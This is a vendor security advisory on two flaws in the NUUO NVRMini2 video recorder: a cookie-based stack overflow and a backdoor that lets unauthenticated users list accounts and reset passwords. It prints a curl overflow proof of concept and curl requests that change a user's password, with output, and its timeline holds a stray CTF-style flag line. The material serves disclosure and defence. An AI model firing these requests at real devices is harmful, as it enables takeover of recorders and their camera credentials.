Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

[R2] Multiple NUUO NVRMini2 Vulnerabilities

Critical

Synopsis

While investigating the NVRMini2, a network video recorder developed by NUUO, Tenable discovered a couple of vulnerabilities in the HTTP interface.

CVE-2018-1149: Unauthenticated Remote Stack Buffer Overflow

The HTTP interface exposes the binary cgi_system through the http://<target>/cgi-bin/cgi_system endpoint. Much of the functionality of cgi_system requires the remote user to be authenticated. One of the ways the system verifies authentication is by comparing the session identifier in the user's PHPSESSID cookie against the session file stored in /tmp/. In the following screenshot, you can see how the system builds up the filename of the tmp file.

Overflow via sprintf

The value returned from sub_534a4 is the session identifier string. The string has not been limited to any size. Similarly there is no bounds check when the string is passed into sprintf to build the tmp filename. As such a remote unauthenticated attacker can overflow the stack buffer passed into sprintf. A one line proof of concept looks like this:

curl -v --cookie "PHPSESSID=982e6c010064b3878a4b793bfab8d2d2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;" "http://192.168.1.85/cgi-bin/cgi_system?cmd=portCheck"

Furthermore, we found that this overflow is exploitable to achieve remote code execution. A couple of proof of concept exploits can be found on our Github repository. This is particularly devastating because not only is an attacker able to control the NVR but the credentials for all the cameras connected to the NVR are stored in plaintext on disk.

CVE-2018-1150: Backdoor

A common idiom in the NVRMini2's PHP code base is to first:

  1. Check that the current PHP session is valid.
  2. Verify the session has appropriate permissions for the page being accessed (ie. admin, poweruser, user, root, guest).

However, the following clause in check_session_is_valid() is quite curious:

 if (file_exists(constant("MOSES_FILE"))) //back door
 {
     update_session();
     return 0;
 }

Note that we didn't insert the "back door" comment. It appears just like that in the code base. The constant("MOSES_FILE") turns out to be /tmp/moses. What does this logic allow an attacker to do? If the file /tmp/moses/ exists on the file system then an unauthenticated remote attacker can list all of the non-admin users and change their passwords:

albinolobster@ubuntu:~$ curl http://192.168.1.85/users_xml.php
<AccountInfo>
<users>
<userinfo><no>1</no><username>testuser</username><group>poweruser</group><displaygroup>power user</displaygroup><live>1,2,3,4,5,6,7,8</live><playback>1,2,3,4,5,6,7,8</playback><ptz>1</ptz><io>1</io><backupdata>1</backupdata><deletedata>1</deletedata><emapsetting>1</emapsetting><remotalksetting>1
</remotalksetting><log>0</log></userinfo>
</users>
<groups>
<groupinfo><no>1</no><groupname>poweruser</groupname><displayname>power user</displayname><groupmembers>testuser</groupmembers></groupinfo><groupinfo><no>2</no><groupname>user</groupname><displayname>user</displayname><groupmembers></groupmembers></groupinfo><groupinfo><no>3</no><groupname>guestuser</groupname><displayname>guestuser</displayname><groupmembers></groupmembers></groupinfo></groups>
</AccountInfo>
albinolobster@ubuntu:~$ curl 'http://192.168.1.85/users_xml.php?cmd=changepwd&username=testuser&newpwd=pwned'
change password: testuser ok!

This affectively allows unauthenticated remote users to take over accounts.

Solution

NUUO has released version 3.9.1 to address these issues. Download the update from their website.

Disclosure Timeline

06-01-2018 - Tenable asks NUUO for an appropriate contact via their eHelpDesk system.
06-01-2018 - NUUO provides an employee's email address.
06-01-2018 - Tenable contacts the NUUO employee and asks if they are the correct security contact.
06-01-2018 - NUUO employee says they are not but asks Tenable what product/problem they have.
06-01-2018 - Tenable indicates that the NVRMini2 has a remote vulnerability.
06-01-2018 - NUUO employee says there is a specific contact for that and they will reach out to Tenable.
06-05-2018 - A new NUUO employee contacts Tenable.
06-05-2018 - Tenable discloses the vulnerabilities via writeup and proof of concept. 90 day date is September 3, 2018.
06-12-2018 - NUUO acknowledges the report.
07-25-2018 - Tenable asks NUUO for an update.
07-27-2018 - NUUO responds that a patch is planned for September 17, 2018.
07-27-2018 - Tenable reminds NUUO that the 90 day mark is September 3, 2018.
08-01-2018 - NUUO reminds Tenable of the 14 day grace period in Tenable's disclosure policy.
08-03-2018 - Tenable acknowledges coordinated disclosure on September 17, 2018.
08-25-2018 - Tenable asks NUUO if they will coordinate with vendors that use them as an OEM.
09-05-2018 - Tenable reiterates previous question.
09-10-2018 - Tenables reminds NUUO that disclosure is 7 days away. Asks for an update.
09-11-2018 - NUUO says all issues are fixed and being verified. Suggests that they will provide firmware on September 13, 2018.
09-11-2018 - Tenable asks what the new version number will be.
09-12-2018 - NUUO responds with 3.9.0.1
09-14-2018 - Tenable asks NUUO about Sept. 13 firmware update.
09-17-2018 - Tenable reminds NUUO that the disclosure date is today.
09-17-2018 - NUUO says there will be a release tomorrow.
09-19-2018 - NUUO releases a fix.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2018-25
Credit:
Jacob Baines
CVSSv2 Base / Temporal Score:
10.0 / 8.3
CVSSv2 Vector:
AV:N/AC:L/Au:N/C:C/I:C/A:C
Nessus Plugin ID: 117427
Affected Products:
NUUO NVRMini2 3.8.0 and below
Risk Factor:
Critical

Advisory Timeline

09-17-2018 - [R1] Initial Release
09-19-2018 - [R2] Updated to Include NUUO Fixes
01-12-2020 - flag{i_s33_y0u}

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Try Tenable Web App Scanning

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable One Exposure Management platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Your Tenable Web App Scanning trial also includes Tenable Vulnerability Management and Tenable Lumin.

Buy Tenable Web App Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try Tenable Lumin

Visualize and explore your exposure management, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Your Tenable Lumin trial also includes Tenable Vulnerability Management and Tenable Web App Scanning.

Buy Tenable Lumin

Contact a Sales Representative to see how Tenable Lumin can help you gain insight across your entire organization and manage cyber risk.

Try Tenable Nessus Professional Free

FREE FOR 7 DAYS

Tenable Nessus is the most comprehensive vulnerability scanner on the market today.

NEW - Tenable Nessus Expert
Now Available

Nessus Expert adds even more features, including external attack surface scanning, and the ability to add domains and scan cloud infrastructure. Click here to Try Nessus Expert.

Fill out the form below to continue with a Nessus Pro Trial.

Buy Tenable Nessus Professional

Tenable Nessus is the most comprehensive vulnerability scanner on the market today. Tenable Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year.

Select Your License

Buy a multi-year license and save.

Add Support and Training

Try Tenable Nessus Expert Free

FREE FOR 7 DAYS

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Already have Tenable Nessus Professional?
Upgrade to Nessus Expert free for 7 days.

Buy Tenable Nessus Expert

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Select Your License

Buy a multi-year license and save more.

Add Support and Training